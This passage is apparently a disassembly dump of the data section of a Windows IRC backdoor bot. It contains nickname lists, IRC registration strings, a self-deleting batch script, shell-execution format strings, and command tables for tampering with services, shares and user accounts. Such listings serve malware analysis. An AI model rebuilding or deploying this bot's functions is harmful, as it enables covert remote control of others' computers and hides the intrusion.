dd offset dword_43B090
dword_43B090 dd 7536h dword_43B094 dd 7535h dword_43B098 dd 7C75347Ch, 0 dword_43B0A0 dd 6F79347Bh, 7D75hdword_43B0A8 dd 7375347Ch, 7Chdword_43B0B0 dd 7865737Ch, 65726634h, 7C65hdword_43B0BC dd 6F6C6F6Ch, 7C617Chdword_43B0C4 dd 6C6F6Ch dword_43B0C8 dd 746F74h aMofo db 'mofo',0 ; DATA XREF: .XPack0:0043B068o
align 4
aMof0 db 'mof0',0 ; DATA XREF: .XPack0:0043B064o
align 4
aMuha db 'muha',0 ; DATA XREF: .XPack0:0043B060o
align 4
aYeah db 'yeah',0 ; DATA XREF: .XPack0:0043B05Co
align 4
aAha db 'aha',0 ; DATA XREF: .XPack0:0043B058o
aShit db 'shit',0 ; DATA XREF: .XPack0:0043B054o
align 4
aGurl db 'gurl',0 ; DATA XREF: .XPack0:0043B050o
align 10h
aGirl_0 db 'GIRL',0 ; DATA XREF: .XPack0:0043B04Co
align 4
aBoy db 'BOY',0 ; DATA XREF: .XPack0:0043B048o
aFree db 'Free',0 ; DATA XREF: .XPack0:0043B034o
align 4
aFuck_0 db 'Fuck',0 ; DATA XREF: .XPack0:0043B030o
align 4
aSleeping db 'Sleeping',0 ; DATA XREF: .XPack0:0043B024o
align 4
aF db '^^^f^',0 ; DATA XREF: .XPack0:0043B018o
align 10h
aSad db 'Sad',0 ; DATA XREF: .XPack0:0043B014o
aLuvu db 'LUVU',0 ; DATA XREF: .XPack0:0043B010o
align 4
a___0 db '_|_',0 ; DATA XREF: .XPack0:0043AFF4o
aBbl db '|bbl',0 ; DATA XREF: .XPack0:0043AFE8o
align 4
off_43B148 dd offset loc_425241+1 ; DATA XREF: .XPack0:0043AFE4o
aMuckc db 'muckc',0 ; DATA XREF: .XPack0:0043AFD0o
align 4
aTruck db 'truck',0 ; DATA XREF: .XPack0:0043AFCCo
align 4
aTrimy db 'trimy',0 ; DATA XREF: .XPack0:0043AFC8o
align 4
aLuvy db 'luvy',0 ; DATA XREF: .XPack0:0043AFC4o
align 4
aUi db 'ui',0 ; DATA XREF: .XPack0:0043AFC0o
align 10h
aSdf db 'sdf',0 ; DATA XREF: .XPack0:0043AFBCo
aRt db 'rt',0 ; DATA XREF: .XPack0:0043AFB8o
align 4
aGf db 'gf',0 ; DATA XREF: .XPack0:0043AFB4o
align 4
aTy db 'ty',0 ; DATA XREF: .XPack0:0043AFB0o
align 10h
aRg db 'rg',0 ; DATA XREF: .XPack0:0043AFACo
align 4
aHappy db 'happy',0 ; DATA XREF: .XPack0:0043AFA8o
align 4
aRs db 'rs',0 ; DATA XREF: .XPack0:0043AF88o
align 10h
aQ8A db '|q8|a',0 ; DATA XREF: .XPack0:0043AF40o
align 4
aQ8 db 'Q8',0 ; DATA XREF: .XPack0:0043AF3Co
align 4
aSick db 'sick}}',0 ; DATA XREF: .XPack0:0043AF38o
align 4
aWiked db '|wiked|',0 ; DATA XREF: .XPack0:0043AF34o
aLuvuF db '||luvu-f|',0 ; DATA XREF: .XPack0:0043AF30o
align 4
aGens db '{gens|',0 ; DATA XREF: .XPack0:0043AF2Co
align 10h
aSex_0 db '{sex}',0 ; DATA XREF: .XPack0:0043AF28o
align 4
aHub db '{hub}',0 ; DATA XREF: .XPack0:0043AF24o
align 10h
aLuck db '|luck|',0 ; DATA XREF: .XPack0:0043AF20o
align 4
aSuck db '|suck|',0 ; DATA XREF: .XPack0:0043AF1Co
align 10h
aTot db '-|tot|',0 ; DATA XREF: .XPack0:0043AF18o
align 4
aWoh db '|woh|',0 ; DATA XREF: .XPack0:0043AF14o
align 10h
aTambe db '|tambe|',0 ; DATA XREF: .XPack0:0043AF10o
aLag db 'lag',0 ; DATA XREF: .XPack0:0043AF0Co
aBad db 'bad',0 ; DATA XREF: .XPack0:0043AF08o
aTree db 'tree',0 ; DATA XREF: .XPack0:0043AF04o
align 4
aZex db 'zex',0 ; DATA XREF: .XPack0:0043AF00o
aLez db 'lez',0 ; DATA XREF: .XPack0:0043AEFCo
aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: .XPack0:0043AEF4o
align 4
aCumhur29 db 'cumhur29',0 ; DATA XREF: .XPack0:0043AEF0o
align 4
aAdamm db 'ADAMM',0 ; DATA XREF: .XPack0:0043AEECo
align 10h
aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: .XPack0:0043AEE8o
align 4
aPrometheus db 'prometheus',0 ; DATA XREF: .XPack0:0043AEE4o
align 4
aDallas43m db 'DALLAS43M',0 ; DATA XREF: .XPack0:0043AEE0o
align 4
aTeoman db 'TEOMAN```',0 ; DATA XREF: .XPack0:0043AEDCo
align 10h
aRerpjj db 'RERPJJ',0 ; DATA XREF: .XPack0:0043AED8o
align 4
aCem39 db 'cem39',0 ; DATA XREF: .XPack0:0043AED4o
align 10h
aCool30m db 'cool30m',0 ; DATA XREF: .XPack0:0043AED0o
aTropikal db 'tropikal',0 ; DATA XREF: .XPack0:0043AECCo
align 4
aPassenger db 'passenger',0 ; DATA XREF: .XPack0:0043AEC8o
align 10h
aNeHaber db 'NE-HABER',0 ; DATA XREF: .XPack0:0043AEC4o
align 4
aUla db 'ula',0 ; DATA XREF: .XPack0:0043AEC0o
aIzmirlm db 'izmirlm',0 ; DATA XREF: .XPack0:0043AEBCo
aAkden db 'akden',0 ; DATA XREF: .XPack0:0043AEB8o
align 10h
aKoray db 'KORAY',0 ; DATA XREF: .XPack0:0043AEB4o
align 4
aAta29 db 'Ata29',0 ; DATA XREF: .XPack0:0043AEB0o
align 10h
aFirtina db 'firtina',0 ; DATA XREF: .XPack0:0043AEACo
aAdamm33 db 'AdAMM33',0 ; DATA XREF: .XPack0:0043AEA8o
aM41ist db 'M41IST',0 ; DATA XREF: .XPack0:0043AEA4o
align 4
aMaxsilla db 'maxsilla',0 ; DATA XREF: .XPack0:0043AEA0o
align 4
aAdem28 db 'Adem28',0 ; DATA XREF: .XPack0:0043AE9Co
align 4
aAnkm db 'ankM',0 ; DATA XREF: .XPack0:0043AE98o
align 4
aErkan db 'erkan',0 ; DATA XREF: .XPack0:0043AE94o
align 4
aDevre db 'devre',0 ; DATA XREF: .XPack0:0043AE90o
align 4
aYabanc db 'yabanc',0 ; DATA XREF: .XPack0:0043AE8Co
align 4
aBirsen db 'birsen',0 ; DATA XREF: .XPack0:0043AE88o
align 4
aA44m db 'a44m',0 ; DATA XREF: .XPack0:0043AE84o
align 4
aAlcatras db 'alcatras',0 ; DATA XREF: .XPack0:0043AE80o
align 4
off_43B328 dd offset byte_4B5245 ; DATA XREF: .XPack0:0043AE7Co
aSevda db 'sevda',0 ; DATA XREF: .XPack0:0043AE78o
align 4
aKotan db 'kotan',0 ; DATA XREF: .XPack0:0043AE74o
align 4
aTegmen db 'TEGMEN',0 ; DATA XREF: .XPack0:0043AE70o
align 4
aAchilles db 'Achilles',0 ; DATA XREF: .XPack0:0043AE6Co
align 10h
aKapk db 'kapk',0 ; DATA XREF: .XPack0:0043AE68o
align 4
aAngelgirl db 'angelgirl',0 ; DATA XREF: .XPack0:0043AE64o
align 4
aHayran db 'hayran',0 ; DATA XREF: .XPack0:0043AE60o
align 4
aFenerlee db 'FeNeRLee',0 ; DATA XREF: .XPack0:0043AE5Co
align 4
aAnkar db 'Ankar',0 ; DATA XREF: .XPack0:0043AE58o
align 10h
aDjspace db 'DJSPACE',0 ; DATA XREF: .XPack0:0043AE54o
aAnk32M db 'ANK-32-M',0 ; DATA XREF: .XPack0:0043AE50o
align 4
aUmut db 'umut-',0 ; DATA XREF: .XPack0:0043AE4Co
align 4
aAdalim db 'ADALIM',0 ; DATA XREF: .XPack0:0043AE48o
align 4
aKumul db 'kumul',0 ; DATA XREF: .XPack0:0043AE44o
align 4
aUzgun36 db 'uzgun36',0 ; DATA XREF: .XPack0:0043AE40o
aSugarboy db 'SUGARBOY-',0 ; DATA XREF: .XPack0:0043AE3Co
align 10h
aSeviseli db 'SeViSeLi',0 ; DATA XREF: .XPack0:0043AE38o
align 4
aKashmira db 'Kashmira',0 ; DATA XREF: .XPack0:0043AE34o
align 4
aAykut1 db 'aykut1',0 ; DATA XREF: .XPack0:0043AE30o
align 10h
aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: .XPack0:0043AE2Co
align 10h
aMahinur db 'MAHINUR',0 ; DATA XREF: .XPack0:0043AE28o
aHoly db 'holy',0 ; DATA XREF: .XPack0:0043AE24o
align 10h
aFlord db 'FLoRD',0 ; DATA XREF: .XPack0:0043AE20o
align 4
aKebikec db 'kebikec',0 ; DATA XREF: .XPack0:0043AE1Co
aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: .XPack0:0043AE18o
align 4
aElmaazyok db 'elmaazyok',0 ; DATA XREF: .XPack0:0043AE14o
align 4
aEmre db 'Emre--',0 ; DATA XREF: .XPack0:0043AE10o
align 10h
aRamtha db 'RAMTHA',0 ; DATA XREF: .XPack0:0043AE0Co
align 4
aImirzali db 'IMIRZALI--',0 ; DATA XREF: .XPack0:0043AE08o
align 4
aHakan3 db 'hakan3',0 ; DATA XREF: .XPack0:0043AE04o
align 4
aMurat34M db 'murat34-m',0 ; DATA XREF: .XPack0:0043AE00o
align 4
aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: .XPack0:0043ADFCo
aArda db 'arda',0 ; DATA XREF: .XPack0:0043ADF8o
align 4
aDevran db 'devran',0 ; DATA XREF: .XPack0:0043ADF4o
align 4
aBerk19m db 'Berk19m',0 ; DATA XREF: .XPack0:0043ADF0o
aDenizlim db 'DenizliM',0 ; DATA XREF: .XPack0:0043ADECo
align 4
aCongueror db 'CoNGuERoR',0 ; DATA XREF: .XPack0:0043ADE8o
align 4
aAlpay34m db 'alpay34m',0 ; DATA XREF: .XPack0:0043ADE4o
align 10h
aBogac db 'bogac',0 ; DATA XREF: .XPack0:0043ADE0o
align 4
aDonjuanm db 'Donjuanm',0 ; DATA XREF: .XPack0:0043ADDCo
align 4
aAnkh db 'ankh',0 ; DATA XREF: .XPack0:0043ADD8o
align 4
off_43B4BC dd offset byte_457441 ; DATA XREF: .XPack0:0043ADD4o
dword_43B4C0 dd 414C5941h, 2DhaAlbina db 'albina',0 ; DATA XREF: .XPack0:0043ADCCo
align 10h
aIzmir39m db 'Izmir39m',0 ; DATA XREF: .XPack0:0043ADC8o
align 4
aZack db 'ZACK',0 ; DATA XREF: .XPack0:0043ADC4o
align 4
aAnk32m db 'ank32m',0 ; DATA XREF: .XPack0:0043ADC0o
align 4
aTurkyy db 'turkyy',0 ; DATA XREF: .XPack0:0043ADBCo
align 4
aAhmet db 'ahmet',0 ; DATA XREF: .XPack0:0043ADB8o
align 4
aPelincik db 'pelincik',0 ; DATA XREF: .XPack0:0043ADB4o
align 4
aBlackpearl db 'blackpearl',0 ; DATA XREF: .XPack0:0043ADB0o
align 4
aRetg db 'RETG',0 ; DATA XREF: .XPack0:0043ADACo
align 4
aSamyeli21 db 'samyeli21',0 ; DATA XREF: .XPack0:0043ADA8o
align 4
aPiramit db 'PIRAMIT',0 ; DATA XREF: .XPack0:0043ADA4o
aAslii db 'aslii',0 ; DATA XREF: .XPack0:0043ADA0o
align 4
aErnesto db 'ERNESTO',0 ; DATA XREF: .XPack0:0043AD9Co
aHaticem db 'haticem',0 ; DATA XREF: .XPack0:0043AD98o
aArzu db 'ARZU',0 ; DATA XREF: .XPack0:0043AD94o
align 10h
aSudenur db 'SUDENUR',0 ; DATA XREF: .XPack0:0043AD90o
aSevmekmi db 'sevmekmi',0 ; DATA XREF: .XPack0:0043AD8Co
align 4
aVenedik34 db 'venedik34',0 ; DATA XREF: .XPack0:0043AD88o
align 10h
aTekir db 'tekir',0 ; DATA XREF: .XPack0:0043AD84o
align 4
aMERVE db 'M-E-R-V-E',0 ; DATA XREF: .XPack0:0043AD80o
align 4
aTrend3 db 'trend3',0 ; DATA XREF: .XPack0:0043AD7Co
align 4
aMelekk db 'melekk',0 ; DATA XREF: .XPack0:0043AD78o
align 4
aAkin db 'AKIN',0 ; DATA XREF: .XPack0:0043AD74o
align 4
aMary_0 db 'MARY',0 ; DATA XREF: .XPack0:0043AD70o
align 4
aJericho db 'JERICHO',0 ; DATA XREF: .XPack0:0043AD6Co
aTolga34 db 'Tolga34',0 ; DATA XREF: .XPack0:0043AD68o
aMisssunday db 'misssunday',0 ; DATA XREF: .XPack0:0043AD64o
align 10h
aIrmal db 'irmal',0 ; DATA XREF: .XPack0:0043AD60o
align 4
aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: .XPack0:0043AD5Co
align 4
aBerk19 db 'berk19',0 ; DATA XREF: .XPack0:0043AD58o
align 10h
aHexaaa db 'hexaaa',0 ; DATA XREF: .XPack0:0043AD54o
align 4
aErkan27 db 'erkan27',0 ; DATA XREF: .XPack0:0043AD50o
aKaan38dent db 'kaan38dent',0 ; DATA XREF: .XPack0:0043AD4Co
align 4
aCansuuuu db 'cansuuuu',0 ; DATA XREF: .XPack0:0043AD48o
align 4
aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: .XPack0:0043AD44o
align 4
aKencing db 'Kencing',0 ; DATA XREF: .XPack0:0043AD40o
aReshma db 'reshma',0 ; DATA XREF: .XPack0:0043AD3Co
align 4
aCamel db 'CAMEL',0 ; DATA XREF: .XPack0:0043AD38o
align 4
aGirl db 'GirL',0 ; DATA XREF: .XPack0:0043AD34o
align 4
aImra db 'imra',0 ; DATA XREF: .XPack0:0043AD30o
align 4
aCoredump db 'CoreDump',0 ; DATA XREF: .XPack0:0043AD2Co
align 4
aPuregold db 'puregold',0 ; DATA XREF: .XPack0:0043AD28o
align 4
aKermit db 'kermit',0 ; DATA XREF: .XPack0:0043AD24o
align 4
aManee db 'manee',0 ; DATA XREF: .XPack0:0043AD20o
align 4
aTroller db 'troller',0 ; DATA XREF: .XPack0:0043AD1Co
aLuisa db 'Luisa',0 ; DATA XREF: .XPack0:0043AD18o
align 4
aNastysha db 'nastysha',0 ; DATA XREF: .XPack0:0043AD14o
align 10h
aRimpy db 'rimpy',0 ; DATA XREF: .XPack0:0043AD10o
align 4
aJanno db 'janno',0 ; DATA XREF: .XPack0:0043AD0Co
align 10h
aBunty db 'bunty',0 ; DATA XREF: .XPack0:0043AD08o
align 4
aHeval db 'heval',0 ; DATA XREF: .XPack0:0043AD04o
align 10h
aCme db 'cme',0 ; DATA XREF: .XPack0:0043AD00o
aMarcy db 'marcy',0 ; DATA XREF: .XPack0:0043ACFCo
align 4
aTalika db 'talika',0 ; DATA XREF: .XPack0:0043ACF8o
align 4
aShez db 'Shez',0 ; DATA XREF: .XPack0:0043ACF4o
align 4
aKen db 'ken',0 ; DATA XREF: .XPack0:0043ACF0o
aFlexster db 'flexster',0 ; DATA XREF: .XPack0:0043ACECo
align 4
aKoko db 'koko',0 ; DATA XREF: .XPack0:0043ACE8o
align 4
aMale db 'male',0 ; DATA XREF: .XPack0:0043ACE4o
align 4
aSwin db 'swin',0 ; DATA XREF: .XPack0:0043ACE0o
align 4
aCar1nna db 'Car1nna',0 ; DATA XREF: .XPack0:0043ACDCo
aKrizha db 'KRIZHA',0 ; DATA XREF: .XPack0:0043ACD8o
align 4
aEmilya db 'emilya',0 ; DATA XREF: .XPack0:0043ACD4o
align 4
aBobmarley db 'BOBMARLEY',0 ; DATA XREF: .XPack0:0043ACD0o
align 4
aMaxxguy db 'maxxguy',0 ; DATA XREF: .XPack0:0043ACCCo
aFarooq db 'farooq',0 ; DATA XREF: .XPack0:0043ACC8o
align 4
aSmartmir db 'SMARTMIR',0 ; DATA XREF: .XPack0:0043ACC4o
align 4
aM_1: ; DATA XREF: .XPack0:0043ACC0o
; .XPack0:0043B00Co
unicode 0, <M>,0
word_43B728 dw 4Eh ; DATA XREF: sub_41A4EB+38r
; .XPack0:0043ACBCo
align 4
dword_43B72C dd 42h dword_43B730 dd 56h dword_43B734 dd 43h dword_43B738 dd 58h ; .XPack0:0043B040o
dword_43B73C dd 5Ah dword_43B740 dd 4Ch dword_43B744 dd 4Bh dword_43B748 dd 4Ah dword_43B74C dd 48h dword_43B750 dd 47h dword_43B754 dd 46h ; .XPack0:0043B008o
dword_43B758 dd 44h dword_43B75C dd 53h dword_43B760 dd 50h dword_43B764 dd 4Fh dword_43B768 dd 55h word_43B76C dw 59h ; DATA XREF: sub_41A811+38r
; .XPack0:0043AC70o
align 10h
dword_43B770 dd 54h dword_43B774 dd 52h dword_43B778 dd 45h dword_43B77C dd 57h dword_43B780 dd 51h dword_43B784 dd 62h ; .XPack0:0043AF44o ...
dword_43B788 dd 78h ; .XPack0:0043AF9Co
dword_43B78C dd 7Ah ; .XPack0:0043AFA4o ...
dword_43B790 dd 68h ; .XPack0:0043AF5Co
dword_43B794 dd 67h ; .XPack0:0043AF58o ...
dword_43B798 dd 66h ; .XPack0:0043AF54o
dword_43B79C dd 64h ; .XPack0:0043AF4Co
dword_43B7A0 dd 79h ; .XPack0:0043AFA0o
dword_43B7A4 dd 77h ; .XPack0:0043AF98o
dword_43B7A8 dd 4B43494Eh, 0A732520h, 0dword_43B7B4 dd 323334h dword_43B7B8 dd 474E4F50h, 0A732520h, 0aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_417DC2+98o
db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
align 4
a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417FDF+BCo
; sub_417FDF+174r ...
align 10h
dword_43B800 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43B84C dd 3000005h, 10h, 18h, 1, 3 dup(0); ---------------------------------------------------------------------------
loc_43B868: ; DATA XREF: sub_418416+118o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_43B87C dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_418416+13Fo
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_4187D7+72o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_41891E+1Co
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_4189C2+2o
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4189E4+140o
align 10h
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_4189E4+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_4189E4+48o
align 10h
unk_43B930 db 2 ; DATA XREF: sub_418B6C+9Co
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 6Ch ; l
db 2, 6Fh, 67h
db 3
db 30h, 31h, 2Ch
db 3
db 31h, 34h, 3Ah
db 3
a1OperatingSyst db '1 operating system is not supported',0
align 4
unk_43B974 db 2 ; DATA XREF: sub_418B6C+8Fo
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 6Ch ; l
db 2, 6Fh, 67h
db 3
db 30h, 31h, 2Ch
db 3
db 31h, 34h, 3Ah
db 3
a1FailedWithErr db '1 failed with error code %d',0
align 10h
dword_43B9B0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 676F026Ch
; DATA XREF: sub_418B6C+5Co
dd 2C313003h, 3A343103h, 25203103h, 6F6C2073h, 6C632067h
dd 65726165h, 64h
off_43B9E0 dd offset aAdd ; DATA XREF: sub_418D56+6Dr
; sub_41913D+50r ...
; "Add"
off_43B9E4 dd offset aAdded ; DATA XREF: sub_418D56+2Dr
; sub_41913D+82r ...
; "Added"
dword_43B9E8 dd 0 dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 8
dd offset aList_1 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 10h
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 43BA54h, 43BA4Ch, 2, 43BA40h, 43BA34h, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: .XPack0:0043BA14o
aStop_0 db 'Stop',0 ; DATA XREF: .XPack0:0043BA10o
align 4
aStarted db 'Started',0 ; DATA XREF: .XPack0:0043BA08o
aStart_0 db 'Start',0 ; DATA XREF: .XPack0:0043BA04o
align 4
aListed db 'Listed',0 ; DATA XREF: .XPack0:0043B9FCo
align 4
aList_1 db 'List',0 ; DATA XREF: .XPack0:0043B9F8o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: .XPack0:0043B9F0o
aDelete_0 db 'Delete',0 ; DATA XREF: .XPack0:0043B9ECo
align 4
aAdded db 'Added',0 ; DATA XREF: .XPack0:off_43B9E4o
align 4
aAdd db 'Add',0 ; DATA XREF: .XPack0:off_43B9E0o
unk_43BAA8 db 2Dh ; - ; DATA XREF: sub_418D56+74o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoServiceSpec db '- %s: no service specified',0
unk_43BACC db 2Dh ; - ; DATA XREF: sub_418D56+55o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0
align 4
unk_43BAF8 db 2Dh ; - ; DATA XREF: sub_418D56+38o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSServiceS db '- %s service: ',27h,'%s',27h,0
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418E7F+12Co
align 4
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_418E7F:loc_418F97o
align 4
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_418E7F:loc_418F90o
align 10h
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_418E7F:loc_418F89o
db 'the state of the service.',0
align 4
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_418E7F:loc_418F82o
align 4
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_418E7F:loc_418F7Bo
db ' correct access rights.',0
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_418E7F:loc_418F74o
align 4
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_418E7F:loc_418F6Do
align 10h
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_418E7F:loc_418F66o
align 8
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_418E7F:loc_418F5Fo
db 'marked for deletion.',0
align 10h
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_418E7F:loc_418F58o
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_418E7F:loc_418F2Do
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_418E7F:loc_418F26o
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_418E7F:loc_418F1Fo
db 'tServiceCtrlDispatcher.',0
align 4
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_418E7F:loc_418F18o
align 4
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_418E7F+8Fo
align 10h
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_418E7F:loc_418EEDo
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_418E7F:loc_418EE3o
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_418E7F:loc_418ED9o
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_418E7F:loc_418ECFo
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_418E7F:loc_418EC5o
align 4
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_418E7F+3Co
align 10h
aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_418FFD+EEo
aStopped db ' Stopped',0 ; DATA XREF: sub_418FFD:loc_4190CCo
aStarting db ' Starting',0 ; DATA XREF: sub_418FFD:loc_4190C5o
aStoping db ' Stoping',0 ; DATA XREF: sub_418FFD:loc_4190BEo
aRunning db ' Running',0 ; DATA XREF: sub_418FFD:loc_4190B7o
aContinuing db ' Continuing',0 ; DATA XREF: sub_418FFD:loc_4190B0o
aPausing db ' Pausing',0 ; DATA XREF: sub_418FFD:loc_4190A9o
aPaused_0 db ' Paused',0 ; DATA XREF: sub_418FFD:loc_4190A2o
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_418FFD+9Eo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_418FFD+25o
align 4
unk_43C05C db 2Dh ; - ; DATA XREF: sub_41913D+ABo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoShareSpecif db '- %s: no share specified',0
align 10h
dword_43C080 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
; DATA XREF: sub_41913D+89o
dd 73252720h, 27h
unk_43C09C db 2Dh ; - ; DATA XREF: sub_41913D+57o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0
align 4
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_419332+D0o
align 10h
aNo db 'No',0 ; DATA XREF: sub_419332+BCo
align 4
aYes db 'Yes',0 ; DATA XREF: sub_419332+B5o
unk_43C0E8 db 2Dh ; - ; DATA XREF: sub_419332+76o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListError db '- share list error %s <%ld>',0
align 10h
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_419332+26o
align 4
unk_43C148 db 2Dh ; - ; DATA XREF: sub_419453+B6o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoUsernameSpe db '- %s: no username specified',0
align 10h
unk_43C170 db 2Dh ; - ; DATA XREF: sub_419453+94o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0
align 10h
unk_43C1A0 db 2Dh ; - ; DATA XREF: sub_419453+6Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSUsernameS db '- %s username: ',27h,'%s',27h,0
align 10h
unk_43C1C0 db 2Dh ; - ; DATA XREF: sub_419599+394o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserInfoErrorL db '- user info error <%ld>',0
align 4
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_419599+36Ao
align 4
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_419599+33Fo
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419599+317o
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_419599+2ECo
align 4
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_419599+2C4o
align 4
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_419599+299o
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_419599+271o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_419599+246o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_419599+21Eo
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_419599+1F3o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_419599+1CBo
align 10h
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_419599+1A0o
align 10h
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_419599+178o
align 4
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_419599+14Do
align 4
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_419599+125o
aGuest_0 db 'Guest',0 ; DATA XREF: sub_419599:loc_4196B2o
align 10h
aUser_1 db 'User',0 ; DATA XREF: sub_419599:loc_4196ABo
align 4
aAdministrato_0 db 'Administrator',0 ; DATA XREF: sub_419599:loc_4196A4o
align 4
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_419599+D4o
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_419599+ACo
align 4
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_419599+81o
align 4
aAccountS db 'Account: %S',0 ; DATA XREF: sub_419599+50o
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_419967+145o
align 4
unk_43C37C db 2Dh ; - ; DATA XREF: sub_419967:loc_419A54o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aAnAccessViolat db '- an access violation has occured',0
align 4
aS_6 db ' %S',0 ; DATA XREF: sub_419967+BAo
align 10h
unk_43C3B0 db 2Dh ; - ; DATA XREF: sub_419967+7Ao
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
